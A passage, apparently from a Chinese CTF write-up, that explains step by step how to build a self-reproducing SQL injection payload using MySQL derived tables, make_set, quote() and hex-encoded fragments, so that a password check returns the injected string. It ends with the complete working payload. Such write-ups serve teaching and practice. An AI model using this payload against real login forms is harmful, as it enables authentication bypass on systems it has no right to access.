quote(“it’s test”) 输出'it\'s a test'

派生表与列别名

可以用下面的方法代替@a:

SELECT s FROM (SELECT 'test string' AS s) AS t;
-- 或者在MYSQL8.0+中
SELECT s FROM (SELECT 0, 'test string', 0) t(x, s, y);

这里会创建一个临时表t,里面有一列叫s,值是test string。然后可以用s来引用这个值

比较新的这个写法是一个语法糖

(SELECT 0, 'test string', 0):产生一行数据,有三列

t(x, s, y):把这个临时表命名为t,第一二三列名分别对应x(0)、s(‘test string’)、y(0)

payload构造

闭合sql语句

用'/*,*/闭合前面的并放一个,为了与后面的make_set贴合

闭合之后就是

SELECT pwd FROM users WHERE username='admin' and pwd=''/*,*/ ...

make_set构造查询结果

union select make_set(15, A, B, C, D) from (派生表)

利用ABCD参数构造出查询结果与查询语句相同的字符串,用十六进制绕过一些闭合省去构造的麻烦

构造ABCD四个参数

参数十六进制值解码后的字符串构造部分
A0x272f2a'/*payload开头
Bs'...'从payload开头的逗号到创建临时表语句中第一个逗号部分的字符串(from(select 0))
Cquote(s)'...'创建临时表的第一个逗号到第二个逗号('*/ union ... from(select 0'),加一个quote是为了输出前后的引号以及转义最后面的'
D0x30...230)t(x,s,y)#创建临时表结尾的部分

创建派生表

from(select 0,'*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0',0)t(x,s,y)#

最终结果

make_set查询时:

  1. 第一部分: 0x272f2a → '/*
  2. 第二部分: s → */ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0
  3. 第三部分: quote(s) → '*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0'
  4. 第四部分: 0x30297428782c732c792923 → 0)t(x,s,y)#

于是我们可以得到最终的payload

'/*,*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0,'*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0',0)t(x,s,y)#
image-20260108105521385
image-20260108105521385